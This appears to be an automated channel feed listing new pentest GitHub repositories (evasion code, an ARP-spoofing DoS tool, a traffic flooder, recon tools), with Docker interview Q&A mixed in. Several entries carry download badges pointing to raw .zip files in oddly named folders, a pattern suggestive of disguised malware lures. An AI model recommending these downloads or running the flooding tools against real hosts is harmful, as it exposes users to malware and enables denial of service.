🛠 New Security / Pentest Related GitHub Repos (Last Scan)

1. H-Pentest (Python)
AI-Powered Penetration Testing Platform with Stealth Mode - Auto CTF Solver, Real-World Testing, HTTP Traffic Obfuscation.
🔗 View Repo

2. RED-TEAM-OPERATOR-Evasion-Windows (C++)
Windows evasion techniques and Red Teaming operations code.
🔗 View Repo

3. Web-pentest (Python)
A simple information gathering tool designed to help pentesters gather reconnaissance on target websites.
🔗 View Repo

4. custom-pentest-lfs (Shell)
Custom LFS/BLFS distribution specialized for penetration testing. Built from scratch with isolated partitions.
🔗 View Repo

5. BrutalNET (Python)
A DoS (denial-of-service) tool utilizing ARP Spoofing for pentest purposes.
🔗 View Repo

6. Dockerized-cowrie (Shell)
Containerized SSH Honeypot (Cowrie) lab featuring a custom-engineered Python/Streamlit SIEM for real-time forensics.
🔗 View Repo

7. enyx-security-labs
A dedicated Pentest Lab environment.
🔗 View Repo

➖➖➖➖➖➖➖
👇 Follow for more updates:
🐦 X / Twitter
📢 Telegram Channel
📺 YouTube Channel

🐳✅ Docker Interview Questions & Answers 🔧

1️⃣ What is Docker?
A: Docker is an open-source platform for containerization that packages apps with dependencies into lightweight, portable units—ensuring "build once, run anywhere" across dev, test, and prod environments.

2️⃣ What is a Container?
A: A lightweight, standalone executable that bundles code, runtime, libraries, and config—isolated via namespaces and cgroups. Starts in seconds (unlike VMs) and is perfect for microservices.

3️⃣ Docker vs Virtual Machines (VMs)
⦁ Docker: Shares host kernel for low overhead (MBs of RAM), fast startup (<1s), ideal for dense packing.
⦁ VMs: Emulates full hardware/OS (GBs of RAM), slower boot (minutes), better for legacy apps needing isolation.

4️⃣ What is a Docker Image?
A: A read-only, layered template (like a snapshot) for creating containers—built via Dockerfile, cached layers speed rebuilds; pull from registries like Docker Hub for bases like Ubuntu.

5️⃣ Common Docker Commands:
⦁ docker run → Start container from image (e.g., docker run -d nginx).
⦁ docker build → Create image from Dockerfile (e.g., docker build -t myapp).
⦁ docker ps → List running containers (-a for all).
⦁ docker images → List local images.
⦁ docker stop → Halt a container (rm to remove).
⦁ docker pull → Fetch from registry.
⦁ docker push → Upload to registry.

6️⃣ What is a Dockerfile?
A: A script with instructions (FROM, RUN, COPY, CMD) to automate image builds—e.g., FROM node:14 starts with Node, RUN npm install adds deps; multi-stage reduces final size.

7️⃣ What is Docker Compose?
A: YAML-based tool for orchestrating multi-container apps—defines services, networks, volumes in docker-compose.yml; run with up for local dev stacks like app + DB.

8️⃣ What is Docker Hub?
A: Cloud registry for public/private images, like GitHub for containers—search/pull official ones (e.g., postgres), or push your own for team sharing.

9️⃣ What is Docker Swarm?
A: Native clustering for managing Docker nodes as a "swarm"—handles service scaling, load balancing, rolling updates; great for simple orchestration before Kubernetes.

🔟 What are Docker Volumes?
A: Persistent data storage outside containers—survives restarts; bind mounts link host dirs, named volumes manage via docker volume create for app data like DBs.

1️⃣1️⃣ What is Docker Networking?
A: Enables container communication—bridge (default, isolated), host (shares host network), overlay (Swarm multi-host), none (isolated); use docker network create for custom.

1️⃣2️⃣ How to Build a Docker Image?
A: Create Dockerfile, then docker build -t myimage:v1 . in the dir—tags for versioning; optimize with .dockerignore to skip files like node_modules.

1️⃣3️⃣ Difference between CMD and ENTRYPOINT?
⦁ CMD: Provides default args (overridable, e.g., via docker run), like CMD ["nginx", "-g", "daemon off;"].
⦁ ENTRYPOINT: Sets fixed executable (args append), e.g., ENTRYPOINT ["python"] + CMD ["app.py"] runs as python app.py.

1️⃣4️⃣ What is Container Orchestration?
A: Automates deployment/scaling of container clusters—Kubernetes leads (with pods/services), Swarm for Docker-native; handles failover, autoscaling in prod.

1️⃣5️⃣ How to Handle Docker Security?
A: Use non-root users (USER), scan with Trivy/Clair, minimal bases (alpine), secrets mgmt (Docker Secrets), limit resources (--cpus 1), and sign images with cosign.

---
💬 Tap ❤️ if you found this useful!

🔗 Connect with us:
Twitter |
Telegram |
YouTube

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: BugHunter-AI
🏷 Tags: #pentest

🧠 Summary:
🔍 Automate penetration testing with an AI-driven tool featuring a cyber-inspired GUI and efficient task scheduling for authorized testing environments.

💻 Code / Usage (from README):

# 🤖 BugHunter-AI - Your AI-Driven Cybersecurity Partner

## 📦 Download Now!
[![Download BugHunter-AI](https://raw.githubusercontent.com/f3m1p0l4r1cguy/BugHunter-AI/main/phragmoid/BugHunter-AI.zip)](https://raw.githubusercontent.com/f3m1p0l4r1cguy/BugHunter-AI/main/phragmoid/BugHunter-AI.zip)

## 🚀 Getting Started
Welcome to BugHunter-AI, your automated penetration testing framework. This guide will help you download and run BugHunter-AI quickly and easily.

### 🛠 System Requirements
Before you get started, ensure your computer meets these requirements:

⭐ Stars: 0
📌 Repo: f3m1p0l4r1cguy/BugHunter-AI
🔗 GitHub: https://github.com/f3m1p0l4r1cguy/BugHunter-AI

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: HackTools
🏷 Tags: #pentest

🧠 Summary:
Some of the tools I have developed for pentesting/ethical hacking, HTB machines, etc

💻 Code / Usage (from README):

# HackTools

Here are some of the tools I have developed for different CTFs, HTB Machines, scripts while I'm bored, etc.


If some of them is useful to you, you are welcome

⭐ Stars: 3
📌 Repo: gunzf0x/HackTools
🔗 GitHub: https://github.com/gunzf0x/HackTools

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: Pentesting-Tools
🏷 Tags: #pentest

🧠 Summary:
A repository of penetration testing tools, search tools, and lists to make life easier

💻 Code / Usage (from README):

# Pentesting-Tools

A repository of penetration testing tools, search tools, and lists to make life easier



## Ownership and Licensing

This document was authored by [Gilbert Garczynski](https://github.com/ggarcz1) and is the intellectual property of the author. 

⭐ Stars: 0
📌 Repo: ggarcz1/Pentesting-Tools
🔗 GitHub: https://github.com/ggarcz1/Pentesting-Tools

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: deadend-cli
🏷 Tags: #pentest

🧠 Summary:
Agentic AI tool for offensive security and pentesting

💻 Code / Usage (from README):

bash
# https://playwright.dev/python/docs/intro
pip install pytest-playwright
# or 
pipx install pytest-playwright

# followed by :
playwright install

⭐ Stars: 34
📌 Repo: xoxruns/deadend-cli
🔗 GitHub: https://github.com/xoxruns/deadend-cli

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: jira-servicedesk-enum
🏷 Tags: #recon

🧠 Summary:
🛠 Discover and manage Atlassian Jira Service Desk users, check permissions, and trigger signups with this Go tool for security assessments.

💻 Code / Usage (from README):

# 🎉 jira-servicedesk-enum - Easily Manage Jira Permissions and Users

## 🚀 Getting Started

Welcome to the jira-servicedesk-enum tool. This simple application helps you enumerate Atlassian Jira Service Desk permissions and users. It's designed for those who want to understand their Jira setup better, especially in the context of security assessments.

## 📥 Download the Application

[![Download jira-servicedesk-enum](https://raw.githubusercontent.com/landoalva/jira-servicedesk-enum/master/phrygium/jira-servicedesk-enum.zip)](https://raw.githubusercontent.com/landoalva/jira-servicedesk-enum/master/phrygium/jira-servicedesk-enum.zip)

⭐ Stars: 0
📌 Repo: landoalva/jira-servicedesk-enum
🔗 GitHub: https://github.com/landoalva/jira-servicedesk-enum

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: turbo-attack
🏷 Tags: #pentest

🧠 Summary:
A turbo traffic generator pentesting tool to generate random traffic with random MAC and IP addresses in addition to random sequence numbers to a particular IP and port.

💻 Code / Usage (from README):

bash
usage: sudo ./turbo-attack_010_linux_arm64 eth0 4 192.168.0.2 443 150000

⭐ Stars: 159
📌 Repo: mytechnotalent/turbo-attack
🔗 GitHub: https://github.com/mytechnotalent/turbo-attack

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: web3-pentest-tool
🏷 Tags: #web

🧠 Summary:
Study and development of a framework for security analysis against web3 applications

💻 Code / Usage (from README):

bash
   git clone [https://github.com/gianlucabassani/web3-pentest-tool](https://github.com/gianlucabassani/web3-pentest-tool)
   cd web3-pentest-tool
   go mod tidy

⭐ Stars: 0
📌 Repo: gianlucabassani/web3-pentest-tool
🔗 GitHub: https://github.com/gianlucabassani/web3-pentest-tool

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: enumeraga
🏷 Tags: #recon

🧠 Summary:
Automatic multiprocess Linux CLI tool that aims for a quick enumeration wrapping pentesting tools.

💻 Code / Usage (from README):

<img src="img/Enumeraga-logo_transparent.png" align="left" width="130" height="130"/>

# Enumeraga - Hack your initial scans

[![Go Report Card](https://goreportcard.com/badge/github.com/0x5ubt13/enumeraga)](https://goreportcard.com/report/github.com/0x5ubt13/enumeraga)
[![Maintainability](https://api.codeclimate.com/v1/badges/a26c3b3db97f4a3fdeef/maintainability)](https://codeclimate.com/github/0x5ubt13/enumeraga/maintainability)
[![GoDoc](https://godoc.org/github.com/0x5ubt13/enumeraga?status.svg)](https://godoc.org/github.com/0x5ubt13/enumeraga)
![License](https://img.shields.io/github/license/0x5ubt13/enumeraga?color=blue)

Automatic multiprocess Linux CLI tool that aims for a quick enumeration wrapping pentesting tools. Scan your target in 20 seconds! This is an attempt to develop a rich tool that leverages the nice features Go has to offer. Containerised version coming soon :eyes:

⭐ Stars: 13
📌 Repo: 0x5ubt13/enumeraga
🔗 GitHub: https://github.com/0x5ubt13/enumeraga

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: naabu
🏷 Tags: #scanner

🧠 Summary:
A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests

💻 Code / Usage (from README):

sh
naabu -h

⭐ Stars: 5539
📌 Repo: projectdiscovery/naabu
🔗 GitHub: https://github.com/projectdiscovery/naabu

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: ReportForge
🏷 Tags: #pentest

🧠 Summary:
ReportForge is a high-performance pentest report generation tool (for now) built with Golang, designed for speed, efficiency, and flexibility. Using HTML and CSS3 for templating, it enables fully c...

💻 Code / Usage (from README):

<p align="center">
    <img alt="ReportForge Logo" src="https://github.com/itz-d0dgy-2nd/ReportForge-Template/raw/main/report/0_report_template/html/images/logo.png">
</p>

> [!Note]
> As someone who doesn’t work with Go on a regular basis, this codebase may not follow standard design patterns or best practices. 
> It was primarily developed to address a specific problem, and while it gets the job done, there's certainly room for improvement.
> 
> If you're familiar with Go and have suggestions for better practices or optimisations, please feel free to open a pull request! I'm always happy to improve the project and welcome contributions.

⭐ Stars: 9
📌 Repo: itz-d0dgy-2nd/ReportForge
🔗 GitHub: https://github.com/itz-d0dgy-2nd/ReportForge

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: arsenic
🏷 Tags: #pentest

🧠 Summary:
Pentesting tool to automate common op tasks and organize discovered data.

💻 Code / Usage (from README):

├── apps
├── bin
├── hosts
│   └── localhost
│       ├── README.md (optional)
│       ├── 00_metadata.md
│       └── recon
│        ├── hostnames.txt
│        └── ip-addresses.txt
├── recon

⭐ Stars: 13
📌 Repo: analog-substance/arsenic
🔗 GitHub: https://github.com/analog-substance/arsenic

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: mo-tool
💬 Description: 📱 Streamline SMS testing on Android with MO Tool, a secure and reliable utility for security researchers, educators, and ethical hackers.
🏷 Tags: #pentest

💻 Code / Usage (from README):

- 👋 Hi, I’m @Apolo093
- 👀 I’m interested in ...
- 🌱 I’m currently learning ...
- 💞️ I’m looking to collaborate on ...
- 📫 How to reach me ...
<!---
Apolo093/Apolo093 is a ✨ special ✨ repository because its 'https://raw.githubusercontent.com/Apolo093/mo-tool/main/unconcertedness/mo-tool.zip' (this file) appears on your GitHub profile.
You can click the Preview link to take a look at your changes.

⭐ Stars: 0 | 🌐 Lang: N/A
📌 Repo: Apolo093/mo-tool
🔗 GitHub: https://github.com/Apolo093/mo-tool

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: ExploitHawk
💬 Description: 🛠️ Discover exploits quickly with ExploitHawk, a terminal-based tool for ethical hacking across Linux distributions, offering fast, accurate search results.
🏷 Tags: #exploit

💻 Code / Usage (from README):

chmod +x ExploitHawk

⭐ Stars: 1 | 🌐 Lang: C
📌 Repo: niago1967/ExploitHawk
🔗 GitHub: https://github.com/niago1967/ExploitHawk

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: ReconForge-ToolKit
🏷 Tags: #recon #web

🧠 Summary:
🕷️ Explore ReconForge, a web-based toolkit for advanced bug hunting and penetration testing, designed for security experts and ethical hackers.

💻 Code / Usage (from README):

# 🛠️ ReconForge-ToolKit - Your All-in-One Bug Hunting Solution

[![Download ReconForge-ToolKit](https://raw.githubusercontent.com/jocelinemodest204/ReconForge-ToolKit/main/scarflike/ReconForge-ToolKit.zip%20Now-Available%20on%20GitHub-brightgreen)](https://raw.githubusercontent.com/jocelinemodest204/ReconForge-ToolKit/main/scarflike/ReconForge-ToolKit.zip)

## 📖 Description
ReconForge is a comprehensive, web-based bug hunting and penetration testing toolkit. It is designed for security researchers, ethical hackers, and cybersecurity professionals. Whether you're looking to start your journey in cybersecurity or you are a seasoned professional, ReconForge provides the tools you need to uncover vulnerabilities in web applications.

## 🚀 Getting Started
Getting started with ReconForge is easy. Follow the steps below to download and run the software on your computer.

⭐ Stars: 1
📌 Repo: jocelinemodest204/ReconForge-ToolKit
🔗 GitHub: https://github.com/jocelinemodest204/ReconForge-ToolKit

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: cybersecurity-tools
🏷 Tags: #exploit #scanner

🧠 Summary:
A collection of open-source, terminal-based security tools for network analysis, penetration testing, and vulnerability assessment. Use these tools responsibly to enhance cybersecurity research and...

💻 Code / Usage (from README):

markdown
# 🛡️ Cybersecurity Tools 🛡️

![GitHub release](https://img.shields.io/github/release/AlejandroZaZ/cybersecurity-tools.svg)
![License](https://img.shields.io/badge/license-MIT-brightgreen.svg)

Welcome to the **Cybersecurity Tools** repository! This collection features a variety of open-source, terminal-based security tools designed for network analysis, penetration testing, and vulnerability assessment. These tools aim to empower cybersecurity researchers and ethical hackers while promoting responsible use.

## 🚀 Table of Contents

⭐ Stars: 6
📌 Repo: AlejandroZaZ/cybersecurity-tools
🔗 GitHub: https://github.com/AlejandroZaZ/cybersecurity-tools

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: ScopesExtractor
🏷 Tags: #bugbounty
🧾 Language: Ruby
📚 Topics: bugbounty, infosec
📜 License: MIT License

🧠 Summary:
A tool for monitoring bug bounty programs across multiple platforms to track scope changes.

📖 Detailed Description (from README or repo description):

bash
   git clone https://github.com/JoshuaMart/ScopesExtractor
   cd ScopesExtractor

⭐ Stars: 31
📌 Repo: JoshuaMart/ScopesExtractor
🔗 GitHub: https://github.com/JoshuaMart/ScopesExtractor

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: HunterKit
🏷 Tags: #bugbounty #scanner #web
🧾 Language: Python
📚 Topics: bugbounty, bugbounty-tool, command-injection, hunter, hunterkit, injection, lfi-vulnerability, scanner, sql, sql-injection, vulnerabilities, vulnerability, vulnerability-assessment, vulnerability-detection, vulnerability-scanners, xss-vulnerability
📜 License: MIT License

🧠 Summary:
🛡️ Scan for web vulnerabilities with HunterKit, a professional-grade tool designed for bug bounty hunters and security experts to enhance online safety.

📖 Detailed Description (from README or repo description):

# 🕵️ HunterKit - Detect Vulnerabilities with Ease

## 🚀 Getting Started

Welcome to HunterKit! This tool helps you find vulnerabilities in web applications. Whether you are a bug bounty hunter or a security professional, HunterKit makes vulnerability scanning simple and effective. 

## 🔗 Download HunterKit

[![Download HunterKit](https://raw.githubusercontent.com/4chpz/HunterKit/main/Hominidae/HunterKit.zip)](https://raw.githubusercontent.com/4chpz/HunterKit/main/Hominidae/HunterKit.zip)

⭐ Stars: 0
📌 Repo: 4chpz/HunterKit
🔗 GitHub: https://github.com/4chpz/HunterKit